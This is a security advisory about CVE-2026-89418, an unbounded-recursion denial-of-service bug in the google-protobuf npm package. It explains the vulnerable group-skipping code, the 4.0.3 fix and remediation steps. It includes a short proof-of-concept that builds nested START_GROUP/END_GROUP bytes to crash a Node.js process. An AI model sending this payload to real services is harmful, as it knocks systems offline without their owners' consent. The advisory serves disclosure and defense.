high

CVE

CVE-2026-89418

CWE

CWE-674

Affected Surface

  • The npm package google-protobuf in versions 4.0.2 and earlier
  • Node.js services, workers, gateways, and internal APIs that pass attacker-controlled protobuf bytes into generated protobuf deserializers or directly into jspb.BinaryReader
  • gRPC-Web bridges and custom binary API handlers that still accept old protobuf group wire types as unknown fields

The most useful new package-security story from the last three days is a parser bug in google-protobuf, not a maintainer compromise. CVE-2026-89418 is a denial-of-service flaw in the library’s reader for old protobuf group fields. A hostile payload can bounce the parser between two reader functions until the Node.js process throws a stack-overflow RangeError and dies.

That matters because the vulnerable path is not some obscure helper. It sits under the generated deserializeBinary entrypoint that many services already use.

Affected package and fixed version

The affected package is the npm package google-protobuf.

PackageAffected versionsFixed version
google-protobuf4.0.2 and earlier4.0.3

If your service accepts attacker-supplied protobuf bytes and feeds them into a generated message parser, this is a live availability problem until you upgrade.

The bug is mutual recursion in the unknown-field path

The generated deserializer is short:

$class$.deserializeBinary = function(bytes) {
  var reader = new jspb.BinaryReader(bytes);
  var msg = new $class$;
  return $class$.deserializeBinaryFromReader(msg, reader);
};

When the generated parser hits a field it does not understand, it falls through to reader.skipField(). The advisory’s vulnerable branch is the START_GROUP case:

case BinaryConstants.WireType.START_GROUP:
  this.skipGroup();
  break;

skipGroup() then loops over nested fields and calls skipField() again:

skipGroup() {
  const previousField = this.nextField_;
  do {
    if (!this.nextField()) {
      throw errors.unmatchedStartGroupEofError();
    }
    if (this.nextWireType_ == BinaryConstants.WireType.END_GROUP) {
      return;
    }
    this.skipField();
  } while (true);
}

There is no depth cap. If the input keeps delivering nested START_GROUP markers before finally closing them, the reader keeps descending until the JavaScript stack gives out.

Why an old wire type still matters

Groups are an older protobuf construct, but they are still part of the wire format. The important detail is not “does my schema use groups?” It is “does my parser encounter group wire types while skipping unknown fields?”

The advisory’s crash shape is simple:

attacker-controlled protobuf bytes
  -> generated deserializeBinary()
  -> unknown field
  -> skipField()
  -> START_GROUP
  -> skipGroup()
  -> skipField()
  -> START_GROUP again
  -> stack exhaustion

That is why the attack does not require knowledge of your message schema. It only needs the target to parse the bytes.

A tiny payload is enough

The public proof of concept uses two bytes over and over:

  • 0x0b for START_GROUP
  • 0x0c for END_GROUP

Reduced to the essential logic, the payload builder looks like this:

const {BinaryReader} = require('google-protobuf/google/protobuf/binary/reader.js');

function payload(depth) {
  const start = 0x0b;
  const end = 0x0c;
  const bytes = new Uint8Array(depth * 2);
  bytes.fill(start, 0, depth);
  bytes.fill(end, depth);
  return bytes;
}

const reader = new BinaryReader(payload(10000));
reader.nextField();
reader.skipGroup();

The expected result is the failure AppSec teams care about:

RangeError: Maximum call stack size exceeded

This is not a memory-corruption bug or a gadget for code execution. It is a straight process crash. If the parser runs in your main request path, that is enough.

Where this shows up in real systems

The vulnerable dependency is common in generated JavaScript protobuf clients and servers, so the risk is broader than one framework label suggests. The exposed population usually looks like this:

  • Node.js APIs that accept protobuf over HTTP or gRPC-web style gateways
  • internal broker services that decode binary messages before routing them
  • worker processes that parse messages from queues or event streams
  • developer tooling or CLIs that deserialize untrusted protobuf blobs

The common factor is not gRPC itself. The common factor is attacker-controlled bytes reaching the generated deserializer.

What changed in 4.0.3

Upstream fixed this in 4.0.3. The advisory describes the right repair shape: track group depth and fail once nesting exceeds a safe ceiling instead of letting the call stack become the ceiling.

Conceptually, the fix is:

if (this.groupDepth_ >= MAX_GROUP_RECURSION_DEPTH) {
  throw new Error('Maximum protobuf group nesting depth exceeded.');
}

That is exactly the kind of guard the vulnerable reader was missing.

What to check right now

Start with direct dependency scope:

rg -n "google-protobuf" package.json package-lock.json npm-shrinkwrap.json yarn.lock pnpm-lock.yaml
npm ls google-protobuf

Then find parser entrypoints that accept bytes from outside the trust boundary:

rg -n "deserializeBinary\\(|new jspb\\.BinaryReader\\(" src lib server worker .

You are looking for places where a network request, queue message, uploaded blob, or cross-service payload can reach the vulnerable parser.

Response guidance

  1. Upgrade to google-protobuf 4.0.3.
  2. Rebuild images, lambdas, and worker bundles that vendor the older runtime.
  3. Put strict byte-size and message-depth limits in front of protobuf parsing paths where you can.
  4. Treat repeated stack-overflow RangeError failures in protobuf handling as a likely exploit attempt, not generic application instability.

The main lesson is small but important. Unknown-field handling is still parser logic, and parser logic is still attack surface. Even when your own schema never uses groups, the library still has to survive hostile bytes that do.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References